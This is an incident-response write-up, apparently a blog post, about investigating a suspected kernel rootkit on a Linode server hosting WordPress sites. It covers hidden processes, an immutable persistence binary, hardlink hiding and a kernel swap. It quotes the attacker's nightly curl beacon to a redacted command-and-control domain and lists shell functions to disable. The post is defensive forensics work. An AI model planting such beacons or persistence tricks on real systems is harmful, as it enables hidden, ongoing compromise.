Investigation of a suspected kernel-level compromise in a BrainyCP production environment. Outbound DNS flood, falsified command output, empty lsmod, and the only way out — swapping the kernel on a live compromised system.
This investigation was conducted under time pressure during an active incident. While we have strong behavioral indicators of a kernel-level compromise, we were unable to extract the malicious module for static analysis before the system rebuild.
lsmod, ps, and find were deliberately lyingchmod 000 to block scannersThis is a story about an email that arrives at 1 AM and flips your night upside down. Linode (Akamai Cloud Computing Services) sent a notification with a subject line that makes your stomach drop:
We have detected an Outbound Denial of Service attack originating from your Linode. This is most likely the result of a system compromise. Because of the serious nature of this activity, we have applied network restrictions to your Linode to prevent further abuse.
One critical point up front: discovery was reactive, not proactive. We found out from the provider, not our own monitoring. First lesson: if you don't have alerts on anomalous outbound traffic, you're always the last to know you've been compromised.
The provider applies network restrictions at the hypervisor level, blocking all non-standard traffic while preserving SSH (port 22) for remediation. The server is quarantined. Sensible policy — but your business goes down while it's in effect.
The server ran a BrainyCP control panel with dozens of WordPress sites, PHP users isolated per-account with individual php-fpm pools. A completely standard setup — and exactly the kind of target botnet operators specifically hunt for.
By correlating file timestamps, logs, and metadata we reconstructed the following sequence:
/etc/watchdog. The /bin/kmod binary was replaced with a fake version.@reboot /etc/watchdog added to root's crontab. chattr +i immutable flag set on the binary.lsmod is empty, find dies with SIGKILL. The conclusion is unavoidable: the kernel is compromised.ss -tupn immediately showed dozens of DNS connections from php processes and one with no process name at all:
ESTAB x.x.x.x:59392 8.8.8.8:53 users:(("php",pid=37234)) ESTAB x.x.x.x:42262 8.8.8.8:53 users:(("php",pid=37232)) # dozens more DNS connections from php processes... ESTAB x.x.x.x:50632 y.y.y.y:61002 ← no process name!
An empty users column means the process is hidden via getdents hooking. IP y.y.y.y (external hosting) is a typical C2 server location.
root@server:~# lsmod Module Size Used by # ← empty. On a real server lsmod is NEVER empty. root@server:~# find /bin /usr/bin -type f -exec file {} \; find: 'file' terminated by signal 9 # ← rootkit kills processes scanning system directories
Empty lsmod is physically impossible on a running server without external interference. The conclusion was clear: the kernel is lying to us, and every subsequent action had to account for that.
Root's crontab had @reboot /etc/watchdog. A 32-bit ELF binary in /etc/ is already an anomaly — but it couldn't be deleted:
root@server:/etc# file /etc/watchdog ELF 32-bit LSB executable, Intel 80386, statically linked, stripped root@server:/etc# lsattr /etc/watchdog ----i---------e------- /etc/watchdog # 'i' = immutable flag — even root can't delete it root@server:/etc# rm -f /etc/watchdog rm: cannot remove '/etc/watchdog': Operation not permitted # Correct approach: root@server:/etc# chattr -i /etc/watchdog && rm -f /etc/watchdog
The immutable flag blocks all modifications — deletion, renaming, overwriting — even for root. Many admins don't know it exists and assume the system is broken when standard deletion silently fails.
5 0 * * * /usr/bin/curl --silent http://[REDACTED-C2-DOMAIN]/parser.php > /dev/null # every night at 00:05 — polling the C2 server for new instructions
Classic beacon architecture: the malware polls its command-and-control server daily for updated instructions and new payloads. This channel almost certainly delivered the April 29 binary.
Modify: 2026-04-30 12:32:42 Change: 2026-05-01 06:46:04 Birth: 2026-05-01 06:46:04 # kmod is what lsmod symlinks to. The replacement always returned empty output.
When standard find was being killed by the malware, searching by inode number bypassed the block entirely:
root@server:~# stat /usr/bin/php74/bin/php-fpm Inode: 1071637 Links: 1 Modify: 2007-12-25 09:50:38 ← time-stomp: PHP 7.4 didn't exist in 2007 root@server:~# find / -inum 1071637 /home/[CLIENT]/.../CMB2/includes/types/CMB2_Type_Wysiwyg.php /usr/bin/php74/bin/php-fpm # one inode — two paths. This is a hardlink.
One physical file — two filesystem paths. An AV scanning /home sees a legitimate CMB2 plugin PHP file. That same object is the malicious binary executed by PHP-FPM. Deleting one path leaves the other intact. The file disappears only when all links to the inode are removed.
The file in the plugin directory also had 0000 permissions — blocking any scanner that tried to read it. But the attackers made a classic mistake: ctime can't be forged through ordinary means — it updates on every chmod call.
Size: 2905 Inode: 1071637 Access: (0000/----------) ← all permissions stripped Modify: 2023-11-07 08:08:17 ← forged "old" date Change: 2026-05-05 21:02:56 ← file is alive right now
Once a malicious LKM is loaded, the OS can no longer be trusted as a source of truth. While we couldn't extract the module for analysis, the behavioral indicators were consistent with a kernel-level compromise. The suspected attack chain:
@reboot /etc/watchdog in crontab, chattr +i on the binary, suspected LKM rootkit loaded into the kernel.getdents hook hides files and processes. read hook on /proc/modules hides the module itself. Replaced kmod blinds lsmod. Scanning processes killed by name. (Behavioral evidence — module not extracted for analysis.)Iterating directly through /proc — bypassing the compromised ps — exposed dozens of hidden processes. The malware intercepted ps queries but didn't fake the physical contents of /proc/PID/ directories — that gap was the opening.
Working on a system with a lying kernel is like playing chess against an opponent who can see your moves before you make them. The only option was to change the board itself.
In the Linode panel under Configurations, the boot profile was changed from the external Linode kernel (6.15.7-x86_64-linode169) to GRUB (Legacy). After reboot, the system came up on its own Ubuntu kernel: 5.15.0-152-generic.
LKM rootkits are compiled against the specific internal symbol offsets of a particular kernel version. With a different kernel, the module can't locate the addresses it needs — its code becomes incompatible with the new environment. The hooked syscalls are released. The OS starts telling the truth again.
root@server:~# lsmod Module Size Used by drm_kms_helper 315392 4 bochs,drm_vram_helper virtio_net 61440 0 aesni_intel 376832 0 ... # ← lsmod is alive. The suspected rootkit is dead. root@server:~# ss -uapn | grep :53 UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* users:(("systemd-resolve"...)) # ← DNS flood stopped. Hundreds of connections: gone.
Cloud Firewall rules are applied before packets reach the VM. No code running inside the OS can see this firewall, let alone bypass it.
If the kernel is compromised, you can't trust iptables either. A rootkit can intercept the network stack and bypass firewall rules from inside the kernel. Cloud Firewall at the hypervisor level is Out-of-Band Security: it lives completely outside the protected system's perimeter.
/usr/libexec/mysqld --skip-grant-tables \ --socket=/tmp/recovery.sock --user=mysql & mysqldump --socket=/tmp/recovery.sock --all-databases \ --events --routines --triggers > /root/FINAL_DUMP.sql -rw-r--r-- 1 root root 847M May 06 01:14 FINAL_DUMP.sql
ctime can't be forged through ordinary means. Every chmod updates it unavoidably. When content is silent, metadata speaks. Make stat your first tool in any investigation.
Physically impossible on a working server. It means a kernel-level compromise (likely an LKM rootkit) or a replaced kmod. Don't trust the kernel — act one level up.
LKMs are tightly bound to a specific kernel version through internal symbol offsets. A different kernel makes the module incompatible. On Linode or DigitalOcean this takes 5 minutes from the web panel.
Cloud Firewall at the hypervisor level is Out-of-Band Security. First response to any serious incident: isolate from the outside, investigate after.
Most tools don't cross-check inodes between directories. Regular find -inum checks on system binaries should be part of your security routine.
Rebuild took less time than fighting the compromise. Victory isn't about finding every malicious byte — it's that the architecture let us amputate the infected node and grow a clean one without losing a row of data.
PasswordAuthentication no in sshd_config.disable_functions = exec,passthru,shell_exec,system,popen.xmlrpc.php and wp-login.php via Fail2Ban or Nginx limit_req.chattr +i wp-config.php — make the config immutable after setup.find /etc /bin /usr/bin -type f -newer /etc/passwd to detect new binaries in system directories."We didn't win because we found every malicious byte.— Immutable Infrastructure principle in practice
We won because our architecture let us amputate
the infected segment and grow a new one."